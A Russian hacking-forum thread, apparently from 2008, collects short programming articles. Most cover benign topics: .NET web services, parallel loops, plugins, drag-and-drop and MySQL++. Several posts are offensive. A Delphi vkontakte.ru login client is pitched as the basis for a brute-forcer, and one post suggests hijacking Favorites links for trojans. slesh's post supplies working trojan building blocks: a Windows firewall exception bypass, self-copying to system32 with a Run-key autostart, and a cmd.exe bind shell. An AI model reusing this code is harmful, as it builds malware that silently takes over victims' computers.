function GetData(Sector: integer): TRec; //функция которой будет пользоваться 1С
begin
  WriteGetData(Sector);
  result := ReadGetData;
end;

теперь нам предстоит модернизировать всё это дело под веб сервис с помощью .net


Код:


//в uses добавились модули net
uses {.NET MODULS}
  System.Collections,
  System.ComponentModel,
  System.Data,
  System.Diagnostics,
  System.Web,
  System.Web.Services,
  Borland.Vcl.SysUtils,
  Borland.Vcl.Variants,

//типы и переменные остаються теми же
type
  TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
    DT: TDateTime; //время события
    ch1: integer;        //два свойства события...
    ch2: integer;       
  end;

  [WebMethod] //объявляем этот метов вебом... т.е. чтобы он был доступен
  function GetData(Sector: integer): TRec;

{ВСЁ ОСТАЛЬНОЕ ТАК ЖЕ... ЬЕЗ КАКИХ ЛИБО ИЗМЕНЕНИЙ}

теперь запускаем веб сервис, и уже можно обращяться к нему ... открываеи браузер пищем свой локальный адрес 127.0.0.1
и вуаля... что мы видим, а видим мы тот самый метод... и даже можеи его вызывать, мало того, так ещё и ответ в XML-ке получаем.
вот так вот мы и примирили RS-232 и HTTP. но как вы помните задача первонапчальная стояла совсем другая...
вот код 1С для обращения к веб сервису
Код:


 Определения = Новый WSОпределения(АдресВебСервиса);
 ВебПрокси = Новый WSПрокси(Определения, Определения.Сервисы[0].URIПространстваИмен,Определения.Сервисы    [0].Имя,Определения.Сервисы[0].ТочкиПодключения[0].Имя);
 Результат = ВебПрокси.GetData(Номер сектора);
//обращаемся к методу веб сервиса
//и получаем результат типа TRec т.к. типы которые используются веб сервисом
//импортируються в 1С автоматически.

Итог
в итоге мы получаем следующую картину: 1С общаеться с внешним устройством (подключеным к ком порту) через веб сервис, это даёт возможность работать с данным устройством всем рабочим станциям в сети (но при этом в коде после обращения к девайсу нужно закрывать ком порт)

merax 11.07.2008 16:13

Параллельные вычисления в Microsoft Visual C# (NET Framework 3.5)

На сегодняшний день развитие индустрии компьютеростроения идет широкими шагами. Растут объемы оперативной памяти, частоты работы процессоров, количество процессоров и их ядер. Не секрет, что даже самый маленький процессор сегодняшнего дня производительностью превосходит процессоры для серверных платформ дня вчерашнего. Но зачастую гигагерцы процессоров и гигабайты оперативной памяти сводятся на нет невозможностью современного софта использовать аппаратные ресурсы на 100%.
Это понимают и производители программного обеспечения и производители «Железа», стремясь разработать технологию позволяющую «нагрузить» компьютер по «полной». Сегодня мы рассмотрим одно из таких решений.

1) Библиотека Parallel Extensions to .NET Framework 3.5 от фирмы Microsoft corp. (Подробнее о ней можно почитать в MSDN выпуск - October 2007).

Итак, для экспериментов нам понадобятся: (Ссылки на программы даны в конце статьи)

1) Microsoft Windows XP или Vista…
2) Microsoft .NET Framework 3.5 (Входит в комплект поставки Visual Studio 2008/2008 Express Edition)
3) Visual Studio 2008 Express Edition.
4) Библиотека Parallel Extensions to .NET Framework 3.5.

Parallel Extensions to .NET Framework 3.5

Скачиваем и устанавливаем библиотеку Parallel Extensions to .NET Framework 3.5. Запускаем Visual Studio и создаем консольный проект на C# for .NET. Щелкаем на вкладке References нашего проекта и выбираем Add Reference. Далее во вкладке Browse находим библиотеку System.Threading.dll (По-умолчанию -> c:\Program Files\Microsoft Parallel Extensions Dec07 CTP\). В редакторе кода дописываем:

Код:

using System.Threading;
using System.Runtime.InteropServices;

Теперь наш проект готов для работы на нескольких ядрах. Осталось применить что-нибудь этакое для наглядности. Для начала удостоверимся, что ядер действительно несколько:

Код:

if (System.Environment.ProcessorCount < 2)
{
    Console.WriteLine("You not have Multi-Core platform\n");
}

Выведем меню, будем грузить 1 ядро и потом 2…

Код:

Console.WriteLine("If you want test Single-Core platform press 1");
Console.WriteLine("If you want test Mullti-Core platform press 2");
r = Console.ReadLine();

Поможет нам старый добрый switch. Сначала грузим 1 ядро:

Код:

switch(r)
{
    case "1":
            for (int i = 0; i < 100000; i++)
            {
              Console.WriteLine("{0} > {1}", Math.Pow(i, 2.0).ToString(),
                                    Math.Pow(i, -2.0).ToString());
            }
            break;

Откройте «Диспетчер задач» и посмотрите наглядно, как загружено 1 ядро…
А теперь распараллелим вычисления:

Код:

    case "2":
            System.Threading.Parallel.For(0, 100000, delegate(int i)
            {
                  Console.WriteLine("{0} <-> {1}",
                Math.Pow(i, 2.0).ToString(), Math.Pow(i, -2.0).ToString());
            });
            break;

    default:
    {
            Console.WriteLine("Error number");
            break;
    }

Откройте «Диспетчер задач» и посмотрите наглядно, как загружен процессор сейчас!
Вот мы с вами и научились писать распределенные приложения, балансируя нагрузку на CPU компьютера с помощью Parallel Extensions to .NET Framework 3.5.
В следующей статье мы рассмотрим, написание многопоточных приложений без использования .NET Framework с помощью библиотеки Intel® TBB (Threading Building Blocks) – кроссплатформенная библиотека для параллельных вычислений от фирмы Intel.

Parallel Extensions to .NET Framework 3.5

De-visible 26.07.2008 15:37

Vkontakte авторизация [DELPHI]
 
Вложений: 1
Vkontakte авторизация [DELPHI (WinSock) ]

***

[intro]

По многочисленным просьбам в ПМ, написал мини статейку про авторизацию на сайте vkontakte.ru (Все на сокетах.)


[Исходный код с комментариями]

глобальная переменная.
Код:

var
sBuff:array [1..6000] of char;//буфер для хранения полученного заголовка страницы
//-------------------------------------------------------

Код:

procedure Err(n:integer);//Функция обработки ошибок
  begin if n<>0 then
    begin
        MessageBox(0,pchar('Error #'+inttostr(WSAGetLastError)),'Error',mb_ok);
        halt
    end
  end;
//-------------------------------------------------------

Код:

function CopyCookie(s,sBuff:string):string;//Функция для копирования cookie(страница 302)
var
text:string;
i:integer;
 Begin
  text:='';
  For i:=pos(s+'=',sBuff) to Length(sBuff) Do
    Begin
      If sBuff[i]<>';' then text:=text+sBuff[i] else Break;
    End;
  Result:=text;
 End;
//-------------------------------------------------------

Код:

function redirect(sBuff:string):string;//Функция для выдирания id, из set-cookie
var
text:string;
  Begin
    text:=trim(copy(sBuff,pos('/id',sBuff),pos('Content-Encoding',sBuff)-pos('/id',sBuff)));
    result:=text;
  End;
//-------------------------------------------------------

Описываем переменные.
Код:

var
wData:WSAData;
s:TSOCKET;
addr:sockaddr_in;
email,pass,sendbuff:string;//мыло, пасс, пакет для отправки пост или гет запросов
PostData:string;//отправляемые данные, мыло с пассом
//-------------------------------------------------------

Начинаем, пытаемся загрузить библиотеку.
Код:

Begin
  email:=Edit1.Text;//мыло
  pass:=Edit2.Text;//пасс
  if WSAStartup(makeword(1,1),wData)<>0 then
  Begin
    ShowMessage('нет носков');
    exit;
  End;

Создаем сокет, коннектимся.
Код:

  s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  FillChar(addr, SizeOf(sockaddr_in), 0);
  addr.sin_family:=AF_Inet;
  addr.sin_port:=htons(80);
  addr.sin_addr.S_addr:=inet_addr('195.190.105.238');//IP vkontakte.ru
  Err(Connect(S,addr,SizeOf(TSockAddr)));
        PostData := '';
        PostData := 'email=' + email+'&'+'pass='+pass ;
        sendbuff := '';

Формируем запрос(POST), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
Код:

        //Формируем пост запрос
        sendbuff := 'POST /login.php HTTP/1.1'+ #13#10 +
                    'Host: vkontakte.ru'+ #13#10 +
                    'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
                    'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
                    'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
                    'Accept-Encoding: gzip,deflate'+ #13#10 +
                    'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
                    'Keep-Alive: 300'+ #13#10 +
                    'Connection: keep-alive'+ #13#10 +
                    'Referer: http://vkontakte.ru/index.php'+ #13#10 +
                    'Cookie: remixchk=5'+ #13#10 +
                    'Content-Type: application/x-www-form-urlencoded'+ #13#10 +
                    'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData+#13#10+'Connection: close' + #13#10#13#10;
  send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
  application.ProcessMessages;
  recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
  application.ProcessMessages;
  Memo1.Text:=sBuff;
//-------------------------------------------------------

Закрываем сокет.
Код:

  Err(Shutdown(S,SD_Send));
  Err(closesocket(s));

//Для написания брутфорса этого было бы достаточно просто выдрали из Set-cookie id пользователя с помощью функции Redirect и все...
example
Код:

Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
Но для сбора инфы пользователя, дл отправки сообщений на стены, для приглашения в друзья и т.д. этого не достаточно...(сами разберетесь не сложно:))
Поэтому просто покажу как попасть в свой профиль):

Формируем запрос(GET), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
Код:

  s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  Connect(S,addr,SizeOf(TSockAddr));
  sendbuff:='';
  application.ProcessMessages;
  Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
  //Формируем гет запрос
  sendbuff :='GET '+redirect(sBuff)+ ' HTTP/1.1'+ #13#10 +
                    'Host: vkontakte.ru'+ #13#10 +
                    'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
                    'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
                    'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
                    'Accept-Encoding: gzip,deflate'+ #13#10 +
                    'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
                    'Keep-Alive: 300'+ #13#10 +
                    'Connection: keep-alive'+ #13#10 +
                    'Referer: http://vkontakte.ru/index.php'+ #13#10 +
                    'Cookie: '+CopyCookie('remixchk',sBuff)+';'+' '+CopyCookie('remixmid',sBuff)+';'+' '+CopyCookie('remixemail',sBuff)+';'+' '+CopyCookie('remixpass',sBuff)+ #13#10+ #13#10;

  send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
  application.ProcessMessages;
  recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
  application.ProcessMessages;
  Memo1.Lines.Add('Мы обошли страницу 302'+#13#10+#13#10+sBuff);//Записываем в Memo1 полученные заголовки
//-------------------------------------------------------

[ВСЕ:)]


На статью может и не тянет, но просьбу некоторых форумчан я выполнил), да и для многих думаю будет полезным(для новичков)...
А так ждем пополнения этого топика, хорошими статейками, что бы многим было интересно почитать.
(здесь постим только статьи, обсуждения не здесь. За дальнейшее использование статьи, автор никакой ответственности не несет...)


Исходник и экзешник:
ЗДЕСЬ

merax 23.09.2008 21:43

Папка "Избранное", скрытая угроза!


На статью это конечно не сильно потянет, но маза имеется. Почему-то все трояно- писатели стремятся подменить запросы которые выдает ему поисковик. Временами это доходит до фанатизма и технологии усложняются. Но мы с вами лентяи и рассмотрим незаслуженно забытых «любителей» избранного. Папочка Favorites, вот кладезь нетленная. Ведь юзер сохранив название понравившейся странички, совершенно не помнит адреса. А если это порно страница? И можно попросить пользователя установить плагин для отображения содержимого? Просто рай какой-то. Итак, код прост. Для простоты юзаем WinAPI функции, файлики с расширением .url и ini по сути одно и тоже…


Код:

::GetPrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPCTSTR Default,  LPTSTR ReturnedString, DWORD strSize, LPCTSTR FileName);

::WritePrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPTSTR String, LPCTSTR FileName);


Погуглив на наличие подобного в интернете и нашел только 1 ссылку, но и та на момент написания статьи не работала. Так что копирайт античату. И никто не несет ответственности за использования описанных методов.
С уважением merax.

ronald 27.09.2008 19:07

Очень маленькая статья, для маньяков, которые пишут огромные думающие существа и хотят их скрыть

Delphi code:

создаем обработчик для формы и в нем прописываем:
PHP код:

AlphaBlend:=true;
AlphaBlendValue:=100

Сей код делает форму только прозрачной!!! AlphaBlendValue - показатель прозрачности например, если вы сделаете его 10, то вообще не видно
Также, если мы не хотим, чтобы человек закрыл или запалил прогу, свернув её
настройте показатели формы BorderIcons везде на False.
Спасибо, за то что потратили время на чтение.

Ещё одна mini-статья по Делфи:

Пойдет речь о том как добавить свою delphi программу в автозапуск или cделать так что бы она запускалась при каждом страте Windows. Для этого нам нужно добавить некоторые записи в реестр Windows. Для начала, в раздел uses добавляем RegisTry. В любом обработчике событий (можно в OnCreate у формы или в OnClick у кнопки) прописываем код приведенный ниже.

PHP код:

var regtregistry;
begin
reg 
:= tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run'false);
reg.writestring('progrmma'application.exename); {вместо programma можно вставить что нибудь своё}
reg.closekey;
reg.free;
end

-----------
De-V: Одобрено.

slesh 03.10.2008 16:05

Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов.
И так приступим.
1) Обход встроенного в винду фаервола:
Добавляет саму себя в обход фаера
Код:

procedure fuck_xpfw;
var
 key:longword;
 ValueName:array[0..255] of char;
 Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';

begin
 if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
 GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
 Value:=ValueName+':*:Enabled:RPC';
 RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
 RegCloseKey(key);
end;

2) Копирование себя в windows и прописывает в автозагрузке:

Код:

function windir:string; // возвращает путь к папке windows
var
a:array[0..144] of char;
begin
 GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
result:=a;
end;

procedure install(name,about:string);
var
 key:longword;
 s:string;
begin
  s:=windir+'\system32\'+name;
 CopyFile(pchar(paramstr(0)),pchar(s),false);
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
 RegCloseKey(Key);
end;

3) Проверка на повторную загрузку:
Код:

function isRun:boolean;
begin
 CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
 if GetLastError=183 then result:=true else result:=false;
end;

4) Шелл:
C авторизацией
Код:

procedure RunShell;
const
 PORT=1234;
LOGIN='login';
var
StartupInfo:_STARTUPINFOA;
addr,caddr:tsockaddrin;
ProcessInformation:_PROCESS_INFORMATION;
addrlen:integer;
cl:LongWord;
l:integer;
s:string;
c:char;
begin
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(PORT);
 bind(sock,@addr, sizeof(addr))=0;
listen(sock,$7FFFFFFF);
addrlen:=sizeof(caddr);
while 1=1 do
 begin
  cl:=accept(sock,caddr,addrlen);
  if cl=INVALID_SOCKET then continue;
  s:='';
  repeat
  l:=recv(cl,c,1,0);
  s:=s+c;
  if length(s)>16 then l:=-1;
  until (l<=0) or (s=LOGIN);
  if l<=0 then
  begin
    closesocket(cl);
    continue;
  end;
  fillchar(StartupInfo,sizeof(StartupInfo),0);
  StartupInfo.cb:=sizeof(StartupInfo);
  StartupInfo.dwFlags:=$100;
  StartupInfo.hStdInput:=cl;
  StartupInfo.hStdOutput:=cl;
  StartupInfo.hStdError:=cl;
  CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
closesocket(sock);
end;


scrat 23.11.2008 00:03

Недавно столкнулся с проблемой работы с drag&drop для произвольных объектов. Решил тут кратенько описать что к чему.

По настоящему всё просто. Для объектов windows forms есть реализация drag&drop(сейчас не об этом).Возьмём к примеру программу которая будет строить многоугольник.И сделаем так чтобы каждую вершину можно drag&drop'ить.

Заведём в нашем классе следующее:
  • private int DDPoint; - точка которую перетаскиваем в данный момент
  • private bool DragDropFlag; - флаг того что пользователь "тащит".
  • List<Point> PointList = new List<Point>(); - список точек

добавление точек в многоугольник и отрисовку его писать здесь не буду.

Для начала обработаем нажатие копки(не путать с кликом,клик = нажал и отпустил)
Код:

    private void Form1_MouseDown(object sender, MouseEventArgs e)
        {
            if (PointList.Count > 1)
            {
                for (int i = 0; i < PointList.Count; i++) //перебираем точки
                {
                    if (e.X <= PointList[i].x + 20 && e.X >= PointList[i].x - 20 && e.Y <= PointList[i].y + 20 && e.Y >= PointList[i].y - 20) //проверка,не  нажали ли на точку
                    {
                        DDPoint = i;
                        DragDropFlag = true; //если да,то ставим i-ую точку как точку которую мы двигаем и возводим флаг
                        label1.Text = "Sex,drugs, drag and drop!"; //фетиш
                    }
                    if (DragDropFlag == true) break;
                }
            }
        }      }

Теперь рассмотрим движение мышки:
Код:

  private void Form1_MouseMove(object sender, MouseEventArgs e)
        {
           
            if (DragDropFlag == true) //если поднят флаг
            {
                PointList[DDPoint].x = e.X;
                PointList[DDPoint].y = e.Y; //меняем x,y нужной точки
                label1.Text = "Drugs,sex drag and drop!";
                Refresh(); //перерисовываем
            }
            else  label1.Text = "Координаты: " + e.X + ";" + e.Y;
           
        }

ну и поднятие мышки:
Код:

  private void Form1_MouseUp(object sender, MouseEventArgs e)
        {
            DragDropFlag = false;
        }

Хочу добавить что было бы неплохо добавить Double buffering:
Код:

  private void Form1_Paint(object sender, PaintEventArgs e)
        {
            DoubleBuffered = true;
    ......

Скачать исходник

-m0rgan- 16.12.2008 21:15

Ну кагбе хекаем мышку ламера=))
 
Взлом компьютерной мышки=))
Вот начал я изучать ассембер и не удержался чтоб не написать какую то программу шутку:).Эта программа не повредит компьютеру, а только изменит расположение кнопок мыши и напугает ламера:)).
Что нам потребуется:
1)Компилятор masm32 или tasm, разница в синтаксисе минимальна но советую взять masm32, потому что объяснять я буду именно по нему.
2)Любой текстовый редактор.
3)Прямые руки и голова на плечах.
Первые строки.
Код:

.386
.model flat,stdcall
option casemap:none
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
include C:\masm32\INCLUDE\ADVAPI32.INC
includelib C:\masm32\lib\comctl32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\gdi32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\advapi32.lib

Разберемся в вышенаписаном:
.386-этой строкой мы говорим нашему компиятору, что намеpеваемся использовать набоp инстpукций пpоцессоpа 80386. .Model flat, stdcall говоpит MASM'у, что наша пpогpамма будет использовать плоскую модель памяти.
Далее мы подгружаем инклудники и библиотеки.
.data
В области дaнных у нас будет 2 строки:
Код:

HINST DWORD 0
Код:

strHack db "I hacked you mouse!",0
Они выведут текст "I hacked you mouse!"
.CODE
В области кода мы имеем:
Код:

start:
invoke SwapMouseButton,1
invoke MessageBox, 0 , addr strHack, addr strHack , 0
exit:
invoke ExitProcess , 0

Давайте разберем все по полочкам.
start:– указывает на начало исполняемого кода.
invoke SwapMouseButton,0– прикрепляем API функцию SwapMouseButton с параметром 1(Эта функция и меняет кнопки мыши местами).
invoke MessageBox, 0 , addr strHack, addr strHack , 0 – эта API функция выводит окно с сообщением.
addr strHack указывает на текст сообщения который мы указали выше.
exit: - указывает на код завершения программы.
invoke ExitProcess , 0 – завершение программы после нажатия кнопки ok.
Ну и самая последняя строка- это end start – она указывает на конец участка кода.
Вот мы и закончили с программной частью.
Компиляция.
Для компиляции нашей программы мы напишем 2 простеньких батника, что бы не мучатся каждый раз вбивая комманду в консоли...
Первый батник:
Код:

@ echo ----OBJ----
@ c:\masm32\bin\ml.exe /coff /c .\ISHODNIC\mouse.asm

Его и запускаем первым.
Второй:
Код:

@ echo ----EXE----
@ if EXIST pirat.obj c:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS .\mouse.obj

Если в написание кода вы не допустили ошибок,то программа скомпилится удачно.Можети идти разводить ламеров=))
Теперь давайте разберемся как от этого избавится.
А это предельно просто:
Замените параметр SwapMouseButton с 1 на 0 и всё.
Вот мы и написали простинький «Вирус» и «Антивирус».
Полный текст программы:
Код:

.386
.model flat,stdcall
option casemap:nonе
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
include C:\masm32\INCLUDE\ADVAPI32.INC
includelib C:\masm32\lib\comctl32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\gdi32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\advapi32.lib
.data
HINST DWORD 0
strHack db "I hacked you mouse!",0
.code
start:
invoke SwapMouseButton,0
invoke MessageBox, 0 , addr strHack, addr strHack , 0
exit:
invoke ExitProcess , 0
end start

Ну вот и всё!
С вами был m0rgan.
Удачи во всех начинаниях!
P.S.:Статейка расчитана на (!!!)новичков в асме...

W!z@rD 20.12.2008 10:37

Использование плагинов в .NET
 
Введение
Данный материал ни на что не претендует.
Сегодня просто стало интересно, как же использовать плагины в .NET?
Если в Win32 это LoadLibrary & GetProcAddr, то в .NET это ...?
P.S. надеюсь орфографических ошибок не будет =)

ссылка на сорцы и бинарники - http://www.sendspace.com/file/72o96u
Требования: .NET Framework 2.0

Извиняюсь за отсутствие комментов в коде
На чем будет все базироваться?
Грубо говоря все основывается на интерфейсе, который должен быть реализован в плагине.
Расмотрим интерфейс который я использовал:
PHP код:

public interface IPlugin
    
{
        
string Description get;}

        
object Calc(int xint y);
    } 

Тут 2 поля.
1 - string Description - аксессор. Возращает описание плагина;
2 - object Calc - функция. Принимает 2 параметра int типа, возвращает объект - object, который можно конвертнуть в необходимый.
Данная библиотека добавляется в ссылки и в лоадере и в плагине.
Лоадер
Собственно вот и лоадер...
Что он из себя представляет? Обычное WinForm приложение.

Создаем экземпляр объекта Hashtable;

PHP код:

readonly Hashtable plugins = new Hashtable(); 

Ниже приведу список методов и описание:

private void GetPlugins() - данная функция ищет плагины (об этом поподробнее ниже)
private void button1_Click - обработчик нажатия на кнопку (иницирует работу плагина (точнее его метод, реализация интерфейса))

PHP код:

        private void GetPlugins()
        {
            
string[] files Directory.GetFiles(Application.StartupPath"*.dll"); //получаем файлы с расширением dll в папке откуда был запущен Exe
            
foreach (string file in files)
            {
                try
                {
                    
Assembly assembly Assembly.LoadFile(file);//загружаем сборку
                    
foreach (Type type in assembly.GetTypes())
                    {
                        
Type f type.GetInterface("Core.IPlugin"); //попытаемся получить интерфейс
                        
if (!= null)
                        {
                            
IPlugin plugin = (IPluginActivator.CreateInstance(type);
                            
plugins.Add(plugin.Descriptionplugin); //Добавление интерфейса
                            
comboBox1.Items.Add(plugin.Description); //В список добавляем описание плагина
                            
ListViewItem item = new ListViewItem();
                            
item.Text file;
                            
item.SubItems.Add(plugin.Description);
                            
listView1.Items.Add(item);
                        }
                    }
                }
                catch (
Exception ex)
                {
                    
MessageBox.Show("Ошибка загрузки плагина\n" ex.Message); //опс... =(
                
}
            }
        } 

Реализация плагина
PHP код:

public class Class1:IPlugin //наследование интерфейса
    
{
        public 
string Description //описание
        
{
            
get
            
{
                return 
"Plugin1 description";
            }
        }

        public 
object Calc(int xint y//реализация метода
        
{
            return 
y;
        } 

Наследуем интерфейс и реализуем...
Конец
ну вот и все...

jawbreaker 21.12.2008 13:27

используем Parallel Extensions для .Net
 
Parallel Extensions это небольшое дополнение к библиотеке System.Threading, которое позволяет на высоком уровне выполнять задачи на всех доступных ядрах/процессорах.


История
Библиотека Parallel Extensions (PE) — совместный проект команды .Net и Microsoft Research — впервые увидела свет 29 ноября 2007 года. Она создана для того, чтобы разработчики могли пользоваться современными многоядерными архитектурами, не утруждая себя трудоемким управлением потоками. Программы, написанные с применением библиотеки, автоматически используют все доступные ядра системы. Если же программа будет запущена на старом одноядерном компьютере, то выполнение будет происходить последовательно, практически без потерь в производительности. Таким образом, использование PE раскрывает все преимущества многоядерных технологий, сохраняя работоспособность на одноядерных системах.

Последнее обновление библиотеки было в июне 2008 года. Сейчас она имеет статус Community Technology Preview и, скорее всего, войдет в 4 версию .Net.

Состав библиотеки

PE состоит из трех основных компонентов:

* Task Parallel Library (TPL) — предоставляет такие императивные методы, как Parallel.For, Parallel.Foreach и Parallel.Invoke для выполнения параллельных вычислений. Вся работа по созданию и завершению потоков, в зависимости от имеющихся процессоров выполняется библиотекой автоматически.
* Parallel LINQ (PLINQ) — надстройка над LINQ to Objects и LINQ to XML, позволяющая выполнять параллельные запросы. В большинстве случаев достаточно в начале запроса написать AsParallel() для того, чтобы все последующие операторы выполнялись параллельно. Внутренне использует TPL.
* Coordination Data Structures (CDS) — набор структур, который используется для синхронизации и координации выполнения параллельных задач.
Перейдём к примеру:
PHP код:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.IO;
using System.Threading;


class 
Program
{
    private static 
int nbFiles;
    private static 
int nbMatchFiles;

    private const 
String dirPath = @"D:\_Dev";
    private const 
String pattern "public";

    static 
void Main(string[] args)
    {
        
Console.WriteLine("Searching for : " pattern);

        
nbFiles 0;
        
nbMatchFiles 0;
        
DateTime start DateTime.Now;

        
Console.WriteLine("Search using Standard Processing");
        
SearchForStandard(dirPathpatterntrue);
        
Console.WriteLine(string.Format("Total files : {0}"nbFiles));
        
Console.WriteLine(string.Format("found in files : {0}"nbMatchFiles));
        
Console.WriteLine(string.Format("Search Duration : {0}"DateTime.Now.Subtract(start).ToString()));
        
Console.ReadKey();
    }

    private static 
void SearchForStandard(string pathstring textbool recurse)
    {
        foreach (
String file in Directory.GetFiles(path"*.*"))
        {
            
Interlocked.Increment(ref nbFiles);
            
FindInFile(filetext);
        }
        if (
recurse)
        {
            foreach (
String dir in Directory.GetDirectories(path))
            {
                
SearchForStandard(dirtextrecurse);
            }
        }
    }
    private static 
void FindInFile(string csFilePathstring text)
    {
        if (
File.ReadAllText(csFilePath).IndexOf(text) >= 0)
            
Interlocked.Increment(ref nbMatchFiles);
    }


Результат:
Код:

Searching for : public
Search using Standard Processing
Total files : 23210
found in files : 6689
Search Duration : 00:01:17.6940000

Теперь с использованием Parallel Extensions:
PHP код:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.IO;
using System.Threading;

class 
Program
    
{
        private static 
int nbFiles;
        private static 
int nbMatchFiles;

        private const 
String dirPath = @"F:\_Dev";
        private const 
String pattern "public";

        static 
void Main(string[] args)
        {
            
Console.WriteLine("Searching for : " pattern);

            
nbFiles 0;
            
nbMatchFiles 0;
            
DateTime start DateTime.Now;

            
Console.WriteLine("Search using Parallel Processing");
            
SearchForParallel(dirPathpatterntrue);
            
Console.WriteLine(string.Format("Total files : {0}"nbFiles));
            
Console.WriteLine(string.Format("found in files : {0}"nbMatchFiles));
            
Console.WriteLine(string.Format("Search Duration : {0}"DateTime.Now.Subtract(start).ToString()));
        }

        private static 
void SearchForParallel(string pathstring textbool recurse)
        {
            
Parallel.ForEach(Directory.GetFiles(path"*.cs"), csFilePath =>
            {
                
Interlocked.Increment(ref nbFiles);
                
FindInFile(csFilePathtext);
            });
            if (
recurse)
                
Parallel.ForEach(Directory.GetDirectories(path),
                    
dirName => SearchForParallel(dirNametextrecurse));
        }
        private static 
void FindInFile(string csFilePathstring text)
        {
            if (
File.ReadAllText(csFilePath).IndexOf(text) >= 0)
                
Interlocked.Increment(ref nbMatchFiles);
        }
    } 

И результат:
Код:

Search using Parallel Processing
Total files : 6708
found in files : 6059
Search Duration : 00:00:02.3510000

Как видим выигрыш в производительности есть, и немалый а от нас потребовалось просто написать Parallel.ForEach вместо обычного ForEach, всё остальное PE делает за нас ;-)

Скачать Parallel Extensions для .Net 3.5

Shaitan-Devil 28.12.2008 09:36

Введение
Микро Статья для начинающих в кодинге по работе с мукулом.
Думаю будет полезно.Все примеры для
командной строки.
Начнем
Заголовки
Код:

#include <iostream>
#include <mysql++.h>
using namespace std;
using namespace mysqlpp;

Данные для соединения с БД
Код:

int main()
{
const char db[]=”db_name”;//Навзание БД
const char user[]=”username”;//Логин Юзвера
const char password[]=”password”;//Пароль юзера
const char host[]=”localhost”;//Хост
const int pot=”3306”;//Порт

Функция соединения с сервером
Код:

mysqlpp::Connection con(false);//Создадим объект con для соединения с сервером
con.connection(db,host,user,password,port);
if(conection)
{cout”You are connected”;}
else{cout<<"Error";

Запросы
Код:

mysqlpp::Query query = con.query();
query<<”Select*From table_name”;
mysqlpp::Result res = query.store();//Получаем р-ты

Получаем колнки
Код:

  if (res) {
                char buf[256];
                mysqlpp::Row row;
                mysqlpp::Row::size_type i;
                for (i = 0; row = res.at(i); i++) {
                        cout << '\t' << utf8trans(row.at(0), buf, sizeof(buf));
                }
        }
        else {
                cerr << "Failed to get item list: " << query.error() ;
                return 1;
        }

        return 0;

Заключение
Вот и все основные команды.Стаья не очень,но пишу сам как новичок.

W!z@rD 03.01.2009 10:37

Использование ресурсов (Delphi)
 
Введение
куча вопросов по поводу работы с ресурсами, тут приведу лишь 1 вариант извлечение онного...

BRCC32
1. Запускаем блокнот
2. Записываем секцию вида - updater_exe RCDATA updater.exe
3. Сохраняем с расширением rc
4. Открываем консоль. Набираем следующее brcc32 <путь и имя файла (пункт 3)>
5. В итоге должны получить фай с расширением res

{$R <Resource.res>}
1. Создаем проект в Delphi
